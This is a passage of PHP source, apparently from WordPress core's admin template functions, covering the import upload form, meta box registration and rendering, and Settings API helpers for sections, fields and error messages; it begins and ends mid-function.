			$r .= "\n\t<option selected='selected' value='" . esc_attr( $role ) . "'>$name</option>";
		} else {
			$r .= "\n\t<option value='" . esc_attr( $role ) . "'>$name</option>";
		}
	}

	echo $r;
}

/**
 * Outputs the form used by the importers to accept the data to be imported.
 *
 * @since 2.0.0
 *
 * @param string $action The action attribute for the form.
 */
function wp_import_upload_form( $action ) {

	/**
	 * Filters the maximum allowed upload size for import files.
	 *
	 * @since 2.3.0
	 *
	 * @see wp_max_upload_size()
	 *
	 * @param int $max_upload_size Allowed upload size. Default 1 MB.
	 */
	$bytes      = apply_filters( 'import_upload_size_limit', wp_max_upload_size() );
	$size       = size_format( $bytes );
	$upload_dir = wp_upload_dir();
	if ( ! empty( $upload_dir['error'] ) ) :
		$upload_directory_error  = '<p>' . __( 'Before you can upload your import file, you will need to fix the following error:' ) . '</p>';
		$upload_directory_error .= '<p><strong>' . $upload_dir['error'] . '</strong></p>';
		wp_admin_notice(
			$upload_directory_error,
			array(
				'additional_classes' => array( 'error' ),
				'paragraph_wrap'     => false,
			)
		);
	else :
		?>
<form enctype="multipart/form-data" id="import-upload-form" method="post" class="wp-upload-form" action="<?php echo esc_url( wp_nonce_url( $action, 'import-upload' ) ); ?>">
<p>
		<?php
		printf(
			'<label for="upload">%s</label> (%s)',
			__( 'Choose a file from your computer:' ),
			/* translators: %s: Maximum allowed file size. */
			sprintf( __( 'Maximum size: %s' ), $size )
		);
		?>
<input type="file" id="upload" name="import" size="25" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="max_file_size" value="<?php echo $bytes; ?>" />
</p>
		<?php submit_button( __( 'Upload file and import' ), 'primary' ); ?>
</form>
		<?php
	endif;
}

/**
 * Adds a meta box to one or more screens.
 *
 * @since 2.5.0
 * @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs.
 *
 * @global array $wp_meta_boxes
 *
 * @param string                 $id            Meta box ID (used in the 'id' attribute for the meta box).
 * @param string                 $title         Title of the meta box.
 * @param callable               $callback      Function that fills the box with the desired content.
 *                                              The function should echo its output.
 * @param string|array|WP_Screen $screen        Optional. The screen or screens on which to show the box
 *                                              (such as a post type, 'link', or 'comment'). Accepts a single
 *                                              screen ID, WP_Screen object, or array of screen IDs. Default
 *                                              is the current screen.  If you have used add_menu_page() or
 *                                              add_submenu_page() to create a new screen (and hence screen_id),
 *                                              make sure your menu slug conforms to the limits of sanitize_key()
 *                                              otherwise the 'screen' menu may not correctly render on your page.
 * @param string                 $context       Optional. The context within the screen where the box
 *                                              should display. Available contexts vary from screen to
 *                                              screen. Post edit screen contexts include 'normal', 'side',
 *                                              and 'advanced'. Comments screen contexts include 'normal'
 *                                              and 'side'. Menus meta boxes (accordion sections) all use
 *                                              the 'side' context. Global default is 'advanced'.
 * @param string                 $priority      Optional. The priority within the context where the box should show.
 *                                              Accepts 'high', 'core', 'default', or 'low'. Default 'default'.
 * @param array                  $callback_args Optional. Data that should be set as the $args property
 *                                              of the box array (which is the second parameter passed
 *                                              to your callback). Default null.
 */
function add_meta_box( $id, $title, $callback, $screen = null, $context = 'advanced', $priority = 'default', $callback_args = null ) {
	global $wp_meta_boxes;

	if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	} elseif ( is_array( $screen ) ) {
		foreach ( $screen as $single_screen ) {
			add_meta_box( $id, $title, $callback, $single_screen, $context, $priority, $callback_args );
		}
	}

	if ( ! isset( $screen->id ) ) {
		return;
	}

	$page = $screen->id;

	if ( ! isset( $wp_meta_boxes ) ) {
		$wp_meta_boxes = array();
	}
	if ( ! isset( $wp_meta_boxes[ $page ] ) ) {
		$wp_meta_boxes[ $page ] = array();
	}
	if ( ! isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		$wp_meta_boxes[ $page ][ $context ] = array();
	}

	foreach ( array_keys( $wp_meta_boxes[ $page ] ) as $a_context ) {
		foreach ( array( 'high', 'core', 'default', 'low' ) as $a_priority ) {
			if ( ! isset( $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] ) ) {
				continue;
			}

			// If a core box was previously removed, don't add.
			if ( ( 'core' === $priority || 'sorted' === $priority )
				&& false === $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]
			) {
				return;
			}

			// If a core box was previously added by a plugin, don't add.
			if ( 'core' === $priority ) {
				/*
				 * If the box was added with default priority, give it core priority
				 * to maintain sort order.
				 */
				if ( 'default' === $a_priority ) {
					$wp_meta_boxes[ $page ][ $a_context ]['core'][ $id ] = $wp_meta_boxes[ $page ][ $a_context ]['default'][ $id ];
					unset( $wp_meta_boxes[ $page ][ $a_context ]['default'][ $id ] );
				}
				return;
			}

			// If no priority given and ID already present, use existing priority.
			if ( empty( $priority ) ) {
				$priority = $a_priority;
				/*
				 * Else, if we're adding to the sorted priority, we don't know the title
				 * or callback. Grab them from the previously added context/priority.
				 */
			} elseif ( 'sorted' === $priority ) {
				$title         = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['title'];
				$callback      = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['callback'];
				$callback_args = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['args'];
			}

			// An ID can be in only one priority and one context.
			if ( $priority !== $a_priority || $context !== $a_context ) {
				unset( $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] );
			}
		}
	}

	if ( empty( $priority ) ) {
		$priority = 'low';
	}

	if ( ! isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
		$wp_meta_boxes[ $page ][ $context ][ $priority ] = array();
	}

	$wp_meta_boxes[ $page ][ $context ][ $priority ][ $id ] = array(
		'id'       => $id,
		'title'    => $title,
		'callback' => $callback,
		'args'     => $callback_args,
	);
}


/**
 * Renders a "fake" meta box with an information message,
 * shown on the block editor, when an incompatible meta box is found.
 *
 * @since 5.0.0
 *
 * @param mixed $data_object The data object being rendered on this screen.
 * @param array $box         {
 *     Custom formats meta box arguments.
 *
 *     @type string   $id           Meta box 'id' attribute.
 *     @type string   $title        Meta box title.
 *     @type callable $old_callback The original callback for this meta box.
 *     @type array    $args         Extra meta box arguments.
 * }
 */
function do_block_editor_incompatible_meta_box( $data_object, $box ) {
	$plugin  = _get_plugin_from_callback( $box['old_callback'] );
	$plugins = get_plugins();
	echo '<p>';
	if ( $plugin ) {
		/* translators: %s: The name of the plugin that generated this meta box. */
		printf( __( 'This meta box, from the %s plugin, is not compatible with the block editor.' ), "<strong>{$plugin['Name']}</strong>" );
	} else {
		_e( 'This meta box is not compatible with the block editor.' );
	}
	echo '</p>';

	if ( empty( $plugins['classic-editor/classic-editor.php'] ) ) {
		if ( current_user_can( 'install_plugins' ) ) {
			$install_url = wp_nonce_url(
				self_admin_url( 'plugin-install.php?tab=favorites&user=wordpressdotorg&save=0' ),
				'save_wporg_username_' . get_current_user_id()
			);

			echo '<p>';
			/* translators: %s: A link to install the Classic Editor plugin. */
			printf( __( 'Please install the <a href="%s">Classic Editor plugin</a> to use this meta box.' ), esc_url( $install_url ) );
			echo '</p>';
		}
	} elseif ( is_plugin_inactive( 'classic-editor/classic-editor.php' ) ) {
		if ( current_user_can( 'activate_plugins' ) ) {
			$activate_url = wp_nonce_url(
				self_admin_url( 'plugins.php?action=activate&plugin=classic-editor/classic-editor.php' ),
				'activate-plugin_classic-editor/classic-editor.php'
			);

			echo '<p>';
			/* translators: %s: A link to activate the Classic Editor plugin. */
			printf( __( 'Please activate the <a href="%s">Classic Editor plugin</a> to use this meta box.' ), esc_url( $activate_url ) );
			echo '</p>';
		}
	} elseif ( $data_object instanceof WP_Post ) {
		$edit_url = add_query_arg(
			array(
				'classic-editor'         => '',
				'classic-editor__forget' => '',
			),
			get_edit_post_link( $data_object )
		);
		echo '<p>';
		/* translators: %s: A link to use the Classic Editor plugin. */
		printf( __( 'Please open the <a href="%s">classic editor</a> to use this meta box.' ), esc_url( $edit_url ) );
		echo '</p>';
	}
}

/**
 * Internal helper function to find the plugin from a meta box callback.
 *
 * @since 5.0.0
 *
 * @access private
 *
 * @param callable $callback The callback function to check.
 * @return array|null The plugin that the callback belongs to, or null if it doesn't belong to a plugin.
 */
function _get_plugin_from_callback( $callback ) {
	try {
		if ( is_array( $callback ) ) {
			$reflection = new ReflectionMethod( $callback[0], $callback[1] );
		} elseif ( is_string( $callback ) && str_contains( $callback, '::' ) ) {
			$reflection = new ReflectionMethod( $callback );
		} else {
			$reflection = new ReflectionFunction( $callback );
		}
	} catch ( ReflectionException $exception ) {
		// We could not properly reflect on the callable, so we abort here.
		return null;
	}

	// Don't show an error if it's an internal PHP function.
	if ( ! $reflection->isInternal() ) {

		// Only show errors if the meta box was registered by a plugin.
		$filename   = wp_normalize_path( $reflection->getFileName() );
		$plugin_dir = wp_normalize_path( WP_PLUGIN_DIR );

		if ( str_starts_with( $filename, $plugin_dir ) ) {
			$filename = str_replace( $plugin_dir, '', $filename );
			$filename = preg_replace( '|^/([^/]*/).*$|', '\\1', $filename );

			$plugins = get_plugins();

			foreach ( $plugins as $name => $plugin ) {
				if ( str_starts_with( $name, $filename ) ) {
					return $plugin;
				}
			}
		}
	}

	return null;
}

/**
 * Meta-Box template function.
 *
 * @since 2.5.0
 *
 * @global array $wp_meta_boxes
 *
 * @param string|WP_Screen $screen      The screen identifier. If you have used add_menu_page() or
 *                                      add_submenu_page() to create a new screen (and hence screen_id)
 *                                      make sure your menu slug conforms to the limits of sanitize_key()
 *                                      otherwise the 'screen' menu may not correctly render on your page.
 * @param string           $context     The screen context for which to display meta boxes.
 * @param mixed            $data_object Gets passed to the meta box callback function as the first parameter.
 *                                      Often this is the object that's the focus of the current screen,
 *                                      for example a `WP_Post` or `WP_Comment` object.
 * @return int Number of meta_boxes.
 */
function do_meta_boxes( $screen, $context, $data_object ) {
	global $wp_meta_boxes;
	static $already_sorted = false;

	if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	$page = $screen->id;

	$hidden = get_hidden_meta_boxes( $screen );

	printf( '<div id="%s-sortables" class="meta-box-sortables">', esc_attr( $context ) );

	/*
	 * Grab the ones the user has manually sorted.
	 * Pull them out of their previous context/priority and into the one the user chose.
	 */
	$sorted = get_user_option( "meta-box-order_$page" );

	if ( ! $already_sorted && $sorted ) {
		foreach ( $sorted as $box_context => $ids ) {
			foreach ( explode( ',', $ids ) as $id ) {
				if ( $id && 'dashboard_browser_nag' !== $id ) {
					add_meta_box( $id, null, null, $screen, $box_context, 'sorted' );
				}
			}
		}
	}

	$already_sorted = true;

	$i = 0;

	if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		foreach ( array( 'high', 'sorted', 'core', 'default', 'low' ) as $priority ) {
			if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
				foreach ( (array) $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
					if ( false === $box || ! $box['title'] ) {
						continue;
					}

					$block_compatible = true;
					if ( is_array( $box['args'] ) ) {
						// If a meta box is just here for back compat, don't show it in the block editor.
						if ( $screen->is_block_editor() && isset( $box['args']['__back_compat_meta_box'] ) && $box['args']['__back_compat_meta_box'] ) {
							continue;
						}

						if ( isset( $box['args']['__block_editor_compatible_meta_box'] ) ) {
							$block_compatible = (bool) $box['args']['__block_editor_compatible_meta_box'];
							unset( $box['args']['__block_editor_compatible_meta_box'] );
						}

						// If the meta box is declared as incompatible with the block editor, override the callback function.
						if ( ! $block_compatible && $screen->is_block_editor() ) {
							$box['old_callback'] = $box['callback'];
							$box['callback']     = 'do_block_editor_incompatible_meta_box';
						}

						if ( isset( $box['args']['__back_compat_meta_box'] ) ) {
							$block_compatible = $block_compatible || (bool) $box['args']['__back_compat_meta_box'];
							unset( $box['args']['__back_compat_meta_box'] );
						}
					}

					++$i;
					// get_hidden_meta_boxes() doesn't apply in the block editor.
					$hidden_class = ( ! $screen->is_block_editor() && in_array( $box['id'], $hidden, true ) ) ? ' hide-if-js' : '';
					echo '<div id="' . $box['id'] . '" class="postbox ' . postbox_classes( $box['id'], $page ) . $hidden_class . '" ' . '>' . "\n";

					echo '<div class="postbox-header">';
					echo '<h2 class="hndle">';
					if ( 'dashboard_php_nag' === $box['id'] ) {
						echo '<span aria-hidden="true" class="dashicons dashicons-warning"></span>';
						echo '<span class="screen-reader-text">' .
							/* translators: Hidden accessibility text. */
							__( 'Warning:' ) .
						' </span>';
					}
					echo $box['title'];
					echo "</h2>\n";

					if ( 'dashboard_browser_nag' !== $box['id'] ) {
						$widget_title = $box['title'];

						if ( is_array( $box['args'] ) && isset( $box['args']['__widget_basename'] ) ) {
							$widget_title = $box['args']['__widget_basename'];
							// Do not pass this parameter to the user callback function.
							unset( $box['args']['__widget_basename'] );
						}

						echo '<div class="handle-actions hide-if-no-js">';

						echo '<button type="button" class="handle-order-higher" aria-disabled="false" aria-describedby="' . $box['id'] . '-handle-order-higher-description">';
						echo '<span class="screen-reader-text">' .
							/* translators: Hidden accessibility text. */
							__( 'Move up' ) .
						'</span>';
						echo '<span class="order-higher-indicator" aria-hidden="true"></span>';
						echo '</button>';
						echo '<span class="hidden" id="' . $box['id'] . '-handle-order-higher-description">' . sprintf(
							/* translators: %s: Meta box title. */
							__( 'Move %s box up' ),
							$widget_title
						) . '</span>';

						echo '<button type="button" class="handle-order-lower" aria-disabled="false" aria-describedby="' . $box['id'] . '-handle-order-lower-description">';
						echo '<span class="screen-reader-text">' .
							/* translators: Hidden accessibility text. */
							__( 'Move down' ) .
						'</span>';
						echo '<span class="order-lower-indicator" aria-hidden="true"></span>';
						echo '</button>';
						echo '<span class="hidden" id="' . $box['id'] . '-handle-order-lower-description">' . sprintf(
							/* translators: %s: Meta box title. */
							__( 'Move %s box down' ),
							$widget_title
						) . '</span>';

						echo '<button type="button" class="handlediv" aria-expanded="true">';
						echo '<span class="screen-reader-text">' . sprintf(
							/* translators: %s: Hidden accessibility text. Meta box title. */
							__( 'Toggle panel: %s' ),
							$widget_title
						) . '</span>';
						echo '<span class="toggle-indicator" aria-hidden="true"></span>';
						echo '</button>';

						echo '</div>';
					}
					echo '</div>';

					echo '<div class="inside">' . "\n";

					if ( WP_DEBUG && ! $block_compatible && 'edit' === $screen->parent_base && ! $screen->is_block_editor() && ! isset( $_GET['meta-box-loader'] ) ) {
						$plugin = _get_plugin_from_callback( $box['callback'] );
						if ( $plugin ) {
							$meta_box_not_compatible_message = sprintf(
								/* translators: %s: The name of the plugin that generated this meta box. */
								__( 'This meta box, from the %s plugin, is not compatible with the block editor.' ),
								"<strong>{$plugin['Name']}</strong>"
							);
							wp_admin_notice(
								$meta_box_not_compatible_message,
								array(
									'additional_classes' => array( 'error', 'inline' ),
								)
							);
						}
					}

					call_user_func( $box['callback'], $data_object, $box );
					echo "</div>\n";
					echo "</div>\n";
				}
			}
		}
	}

	echo '</div>';

	return $i;
}

/**
 * Removes a meta box from one or more screens.
 *
 * @since 2.6.0
 * @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs.
 *
 * @global array $wp_meta_boxes
 *
 * @param string                 $id      Meta box ID (used in the 'id' attribute for the meta box).
 * @param string|array|WP_Screen $screen  The screen or screens on which the meta box is shown (such as a
 *                                        post type, 'link', or 'comment'). Accepts a single screen ID,
 *                                        WP_Screen object, or array of screen IDs.
 * @param string                 $context The context within the screen where the box is set to display.
 *                                        Contexts vary from screen to screen. Post edit screen contexts
 *                                        include 'normal', 'side', and 'advanced'. Comments screen contexts
 *                                        include 'normal' and 'side'. Menus meta boxes (accordion sections)
 *                                        all use the 'side' context.
 */
function remove_meta_box( $id, $screen, $context ) {
	global $wp_meta_boxes;

	if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	} elseif ( is_array( $screen ) ) {
		foreach ( $screen as $single_screen ) {
			remove_meta_box( $id, $single_screen, $context );
		}
	}

	if ( ! isset( $screen->id ) ) {
		return;
	}

	$page = $screen->id;

	if ( ! isset( $wp_meta_boxes ) ) {
		$wp_meta_boxes = array();
	}
	if ( ! isset( $wp_meta_boxes[ $page ] ) ) {
		$wp_meta_boxes[ $page ] = array();
	}
	if ( ! isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		$wp_meta_boxes[ $page ][ $context ] = array();
	}

	foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
		$wp_meta_boxes[ $page ][ $context ][ $priority ][ $id ] = false;
	}
}

/**
 * Meta Box Accordion Template Function.
 *
 * Largely made up of abstracted code from do_meta_boxes(), this
 * function serves to build meta boxes as list items for display as
 * a collapsible accordion.
 *
 * @since 3.6.0
 *
 * @uses global $wp_meta_boxes Used to retrieve registered meta boxes.
 *
 * @param string|object $screen      The screen identifier.
 * @param string        $context     The screen context for which to display accordion sections.
 * @param mixed         $data_object Gets passed to the section callback function as the first parameter.
 * @return int Number of meta boxes as accordion sections.
 */
function do_accordion_sections( $screen, $context, $data_object ) {
	global $wp_meta_boxes;

	wp_enqueue_script( 'accordion' );

	if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	$page = $screen->id;

	$hidden = get_hidden_meta_boxes( $screen );
	?>
	<div id="side-sortables" class="accordion-container">
		<ul class="outer-border">
	<?php
	$i          = 0;
	$first_open = false;

	if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
			if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
				foreach ( $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
					if ( false === $box || ! $box['title'] ) {
						continue;
					}

					++$i;
					$hidden_class = in_array( $box['id'], $hidden, true ) ? 'hide-if-js' : '';

					$open_class = '';
					if ( ! $first_open && empty( $hidden_class ) ) {
						$first_open = true;
						$open_class = 'open';
					}
					?>
					<li class="control-section accordion-section <?php echo $hidden_class; ?> <?php echo $open_class; ?> <?php echo esc_attr( $box['id'] ); ?>" id="<?php echo esc_attr( $box['id'] ); ?>">
						<h3 class="accordion-section-title hndle" tabindex="0">
							<?php echo esc_html( $box['title'] ); ?>
							<span class="screen-reader-text">
								<?php
								/* translators: Hidden accessibility text. */
								_e( 'Press return or enter to open this section' );
								?>
							</span>
						</h3>
						<div class="accordion-section-content <?php postbox_classes( $box['id'], $page ); ?>">
							<div class="inside">
								<?php call_user_func( $box['callback'], $data_object, $box ); ?>
							</div><!-- .inside -->
						</div><!-- .accordion-section-content -->
					</li><!-- .accordion-section -->
					<?php
				}
			}
		}
	}
	?>
		</ul><!-- .outer-border -->
	</div><!-- .accordion-container -->
	<?php
	return $i;
}

/**
 * Adds a new section to a settings page.
 *
 * Part of the Settings API. Use this to define new settings sections for an admin page.
 * Show settings sections in your admin page callback function with do_settings_sections().
 * Add settings fields to your section with add_settings_field().
 *
 * The $callback argument should be the name of a function that echoes out any
 * content you want to show at the top of the settings section before the actual
 * fields. It can output nothing if you want.
 *
 * @since 2.7.0
 * @since 6.1.0 Added an `$args` parameter for the section's HTML wrapper and class name.
 *
 * @global array $wp_settings_sections Storage array of all settings sections added to admin pages.
 *
 * @param string   $id       Slug-name to identify the section. Used in the 'id' attribute of tags.
 * @param string   $title    Formatted title of the section. Shown as the heading for the section.
 * @param callable $callback Function that echos out any content at the top of the section (between heading and fields).
 * @param string   $page     The slug-name of the settings page on which to show the section. Built-in pages include
 *                           'general', 'reading', 'writing', 'discussion', 'media', etc. Create your own using
 *                           add_options_page();
 * @param array    $args     {
 *     Arguments used to create the settings section.
 *
 *     @type string $before_section HTML content to prepend to the section's HTML output.
 *                                  Receives the section's class name as `%s`. Default empty.
 *     @type string $after_section  HTML content to append to the section's HTML output. Default empty.
 *     @type string $section_class  The class name to use for the section. Default empty.
 * }
 */
function add_settings_section( $id, $title, $callback, $page, $args = array() ) {
	global $wp_settings_sections;

	$defaults = array(
		'id'             => $id,
		'title'          => $title,
		'callback'       => $callback,
		'before_section' => '',
		'after_section'  => '',
		'section_class'  => '',
	);

	$section = wp_parse_args( $args, $defaults );

	if ( 'misc' === $page ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$page = 'general';
	}

	if ( 'privacy' === $page ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$page = 'reading';
	}

	$wp_settings_sections[ $page ][ $id ] = $section;
}

/**
 * Adds a new field to a section of a settings page.
 *
 * Part of the Settings API. Use this to define a settings field that will show
 * as part of a settings section inside a settings page. The fields are shown using
 * do_settings_fields() in do_settings_sections().
 *
 * The $callback argument should be the name of a function that echoes out the
 * HTML input tags for this setting field. Use get_option() to retrieve existing
 * values to show.
 *
 * @since 2.7.0
 * @since 4.2.0 The `$class` argument was added.
 *
 * @global array $wp_settings_fields Storage array of settings fields and info about their pages/sections.
 *
 * @param string   $id       Slug-name to identify the field. Used in the 'id' attribute of tags.
 * @param string   $title    Formatted title of the field. Shown as the label for the field
 *                           during output.
 * @param callable $callback Function that fills the field with the desired form inputs. The
 *                           function should echo its output.
 * @param string   $page     The slug-name of the settings page on which to show the section
 *                           (general, reading, writing, ...).
 * @param string   $section  Optional. The slug-name of the section of the settings page
 *                           in which to show the box. Default 'default'.
 * @param array    $args {
 *     Optional. Extra arguments that get passed to the callback function.
 *
 *     @type string $label_for When supplied, the setting title will be wrapped
 *                             in a `<label>` element, its `for` attribute populated
 *                             with this value.
 *     @type string $class     CSS Class to be added to the `<tr>` element when the
 *                             field is output.
 * }
 */
function add_settings_field( $id, $title, $callback, $page, $section = 'default', $args = array() ) {
	global $wp_settings_fields;

	if ( 'misc' === $page ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$page = 'general';
	}

	if ( 'privacy' === $page ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$page = 'reading';
	}

	$wp_settings_fields[ $page ][ $section ][ $id ] = array(
		'id'       => $id,
		'title'    => $title,
		'callback' => $callback,
		'args'     => $args,
	);
}

/**
 * Prints out all settings sections added to a particular settings page.
 *
 * Part of the Settings API. Use this in a settings page callback function
 * to output all the sections and fields that were added to that $page with
 * add_settings_section() and add_settings_field()
 *
 * @global array $wp_settings_sections Storage array of all settings sections added to admin pages.
 * @global array $wp_settings_fields Storage array of settings fields and info about their pages/sections.
 * @since 2.7.0
 *
 * @param string $page The slug name of the page whose settings sections you want to output.
 */
function do_settings_sections( $page ) {
	global $wp_settings_sections, $wp_settings_fields;

	if ( ! isset( $wp_settings_sections[ $page ] ) ) {
		return;
	}

	foreach ( (array) $wp_settings_sections[ $page ] as $section ) {
		if ( '' !== $section['before_section'] ) {
			if ( '' !== $section['section_class'] ) {
				echo wp_kses_post( sprintf( $section['before_section'], esc_attr( $section['section_class'] ) ) );
			} else {
				echo wp_kses_post( $section['before_section'] );
			}
		}

		if ( $section['title'] ) {
			echo "<h2>{$section['title']}</h2>\n";
		}

		if ( $section['callback'] ) {
			call_user_func( $section['callback'], $section );
		}

		if ( ! isset( $wp_settings_fields ) || ! isset( $wp_settings_fields[ $page ] ) || ! isset( $wp_settings_fields[ $page ][ $section['id'] ] ) ) {
			continue;
		}
		echo '<table class="form-table" role="presentation">';
		do_settings_fields( $page, $section['id'] );
		echo '</table>';

		if ( '' !== $section['after_section'] ) {
			echo wp_kses_post( $section['after_section'] );
		}
	}
}

/**
 * Prints out the settings fields for a particular settings section.
 *
 * Part of the Settings API. Use this in a settings page to output
 * a specific section. Should normally be called by do_settings_sections()
 * rather than directly.
 *
 * @global array $wp_settings_fields Storage array of settings fields and their pages/sections.
 *
 * @since 2.7.0
 *
 * @param string $page Slug title of the admin page whose settings fields you want to show.
 * @param string $section Slug title of the settings section whose fields you want to show.
 */
function do_settings_fields( $page, $section ) {
	global $wp_settings_fields;

	if ( ! isset( $wp_settings_fields[ $page ][ $section ] ) ) {
		return;
	}

	foreach ( (array) $wp_settings_fields[ $page ][ $section ] as $field ) {
		$class = '';

		if ( ! empty( $field['args']['class'] ) ) {
			$class = ' class="' . esc_attr( $field['args']['class'] ) . '"';
		}

		echo "<tr{$class}>";

		if ( ! empty( $field['args']['label_for'] ) ) {
			echo '<th scope="row"><label for="' . esc_attr( $field['args']['label_for'] ) . '">' . $field['title'] . '</label></th>';
		} else {
			echo '<th scope="row">' . $field['title'] . '</th>';
		}

		echo '<td>';
		call_user_func( $field['callback'], $field['args'] );
		echo '</td>';
		echo '</tr>';
	}
}

/**
 * Registers a settings error to be displayed to the user.
 *
 * Part of the Settings API. Use this to show messages to users about settings validation
 * problems, missing settings or anything else.
 *
 * Settings errors should be added inside the $sanitize_callback function defined in
 * register_setting() for a given setting to give feedback about the submission.
 *
 * By default messages will show immediately after the submission that generated the error.
 * Additional calls to settings_errors() can be used to show errors even when the settings
 * page is first accessed.
 *
 * @since 3.0.0
 * @since 5.3.0 Added `warning` and `info` as possible values for `$type`.
 *
 * @global array[] $wp_settings_errors Storage array of errors registered during this pageload
 *
 * @param string $setting Slug title of the setting to which this error applies.
 * @param string $code    Slug-name to identify the error. Used as part of 'id' attribute in HTML output.
 * @param string $message The formatted message text to display to the user (will be shown inside styled
 *                        `<div>` and `<p>` tags).
 * @param string $type    Optional. Message type, controls HTML class. Possible values include 'error',
 *                        'success', 'warning', 'info'. Default 'error'.
 */
function add_settings_error( $setting, $code, $message, $type = 'error' ) {
	global $wp_settings_errors;

	$wp_settings_errors[] = array(
		'setting' => $setting,
		'code'    => $code,
		'message' => $message,
		'type'    => $type,
	);
}

/**
 * Fetches settings errors registered by add_settings_error().
 *
 * Checks the $wp_settings_errors array for any errors declared during the current
 * pageload and returns them.
 *
 * If changes were just submitted ($_GET['settings-updated']) and settings errors were saved
 * to the 'settings_errors' transient then those errors will be returned instead. This
 * is used to pass errors back across pageloads.
 *
 * Use the $sanitize argument to manually re-sanitize the option before returning errors.
 * This is useful if you have errors or notices you want to show even when the user
 * hasn't submitted data (i.e. when they first load an options page, or in the {@see 'admin_notices'}
 * action hook).
 *
 * @since 3.0.0
 *
 * @global array[] $wp_settings_errors Storage array of errors registered during this pageload
 *
 * @param string $setting  Optional. Slug title of a specific setting whose errors you want.
 * @param bool   $sanitize Optional. Whether to re-sanitize the setting value before returning errors.
 * @return array[] {
 *     Array of settings error arrays.
 *
 *     @type array ...$0 {
 *         Associative array of setting error data.
 *
 *         @type string $setting Slug title of the setting to which this error applies.
 *         @type string $code    Slug-name to identify the error. Used as part of 'id' attribute in HTML output.
 *         @type string $message The formatted message text to display to the user (will be shown inside styled
 *                               `<div>` and `<p>` tags).
 *         @type string $type    Optional. Message type, controls HTML class. Possible values include 'error',
 *                               'success', 'warning', 'info'. Default 'error'.
 *     }
 * }
 */
function get_settings_errors( $setting = '', $sanitize = false ) {
	global $wp_settings_errors;

	/*
	 * If $sanitize is true, manually re-run the sanitization for this option
	 * This allows the $sanitize_callback from register_setting() to run, adding
	 * any settings errors you want to show by default.
	 */
	if ( $sanitize ) {
		sanitize_option( $setting, get_option( $setting ) );
	}

	// If settings were passed back from options.php then use them.
	if ( isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] && get_transient( 'settings_errors' ) ) {
		$wp_settings_errors = array_merge( (array) $wp_settings_errors, get_transient( 'settings_errors' ) );
		delete_transient( 'settings_errors' );
	}

	// Check global in case errors have been added on this pageload.
	if ( empty( $wp_settings_errors ) ) {
		return array();
	}

	// Filter the results to those of a specific setting if one was set.
	if ( $setting ) {
		$setting_errors = array();

		foreach ( (array) $wp_settings_errors as $key => $details ) {
			if ( $setting === $details['setting'] ) {
				$setting_errors[] = $wp_settings_errors[ $key ];
			}
		}

		return $setting_errors;
	}

	return $wp_settings_errors;
}

/**
 * Displays settings errors registered by add_settings_error().
 *
 * Part of the Settings API. Outputs a div for each error retrieved by
 * get_settings_errors().
 *
 * This is called automatically after a settings page based on the
 * Settings API is submitted. Errors should be added during the validation
 * callback function for a setting defined in register_setting().
 *
 * The $sanitize option is passed into get_settings_errors() and will
 * re-run the setting sanitization
 * on its current value.
 *
 * The $hide_on_update option will cause errors to only show when the settings
 * page is first loaded. if the user has already saved new values it will be
 * hidden to avoid repeating messages already shown in the default error
 * reporting after submission. This is useful to show general errors like
 * missing settings when the user arrives at the settings page.
 *
 * @since 3.0.0
 * @since 5.3.0 Legacy `error` and `updated` CSS classes are mapped to
 *              `notice-error` and `notice-success`.
 *
 * @param string $setting        Optional slug title of a specific setting whose errors you want.
 * @param bool   $sanitize       Whether to re-sanitize the setting value before returning errors.
 * @param bool   $hide_on_update If set to true errors will not be shown if the settings page has
 *                               already been submitted.
 */
function settings_errors( $setting = '', $sanitize = false, $hide_on_update = false ) {

	if ( $hide_on_update && ! empty( $_GET['settings-updated'] ) ) {
		return;
	}

	$settings_errors = get_settings_errors( $setting, $sanitize );

	if ( empty( $settings_errors ) ) {
		return;
	}

	$output = '';

	foreach ( $settings_errors as $key => $details ) {
		if ( 'updated' === $details['type'] ) {
			$details['type'] = 'success';
		}

		if ( in_array( $details['type'], array( 'error', 'success', 'warning', 'info' ), true ) ) {
			$details['type'] = 'notice-' . $details['type'];
		}

